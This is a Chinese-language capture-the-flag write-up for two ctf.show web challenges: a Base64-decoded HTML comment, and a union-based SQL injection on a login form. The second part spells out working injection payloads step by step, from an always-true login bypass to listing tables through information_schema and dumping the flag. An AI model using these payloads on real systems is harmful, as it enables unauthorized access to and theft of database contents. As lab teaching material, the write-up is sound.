web签到题
题目
web签到题
分析
F12 打开 html 文件:
将注释进行 Base64 解码得到 flag。
web2
题目
最简单的SQL注入
分析
看着应该是 SQL 注入题。
先尝试使用 admin 和 123456 登录,发现没有任何回显。看来报错被屏蔽了。
显然 admin 栏如果注入成功则属于字符型注入。尝试使用万能密码作为用户名登录并把后面的密码语句注释掉,填入 admin' or 1=1 #
,密码随便填,得到登录成功的回显:
之后通过 “order by
+数字” 猜测表的字段数,当猜测的数字小于或等于实际字段数,回显正确,否则报错。向用户名填入 admin' or 1=1 order by 10#
发现无任何回显,说明报错了。依次使用 9、8、7…… 替换上述命令中的 10,当尝试到 3 的时候出现回显,说明该表的字段数为 3:
在获得字段数之后,我们需要测试哪个字段在网站上能够得到回显。这里使用联合查询 union select
语句,向用户名传入 admin' or 1=1 union select 1,2,3#
,得到的回显中只有 2,即只有第 2 个字段能够产生回显:
于是我们向第 2 个字段位置输入 database()
以获得当前数据库名,向用户名传入 admin' or 1=1 union select 1,database(),3#
,得到数据库名为 web2:
通过 (select group_concat(table_name) from information_schema.tables where table_schema='xxx')
查询数据库 web2 的表名并将所有表名写入一行输出。其中 group_concat()
将所有内容写入一行并输出;information_schema
是 mysql 自带的库,记录了该数据库所有的表名和字段名。向用户名传入 admin' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3#
,得到 web2 的表名 flag 和 user:
通过 (select group_concat(column_name) from information_schema.columns where table_name='xxx')
查询 web2 数据库 flag 表中的字段名并将所有字段名写入一行输出。向用户名传入 admin' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3#
,得到字段名 flag:
最后查询 flag 字段的值。向用户名传入 admin' or 1=1 union select 1,(select flag from flag),3#
,得到 flag。
参考
ctf.show web2 最简单的SQL注入-0d@y-CSDN
sql回显注入(满满的干货)-iwhattt-博客园
sql注入之万能密码总结-無名之涟-CSDN
SQL注入 (初级篇) 数字形注入与字符型注入区别-笑傲code-CSDN
SQL 注入之 UNION 查询(回显)-z_hunter-CSDN
浅谈SQL注入中的-1‘ union select 1,2,3#-娄不夜-CSDN
SQL注入:union注入学习笔记整理-冇得理想-CSDN
SQL注入如何判断数据库类型-2021!-CSDN
SQL注入常用命令-浅笑996-博客园
史上最全SQL基础知识总结(理论+举例)-Yvonne.Y-CSDN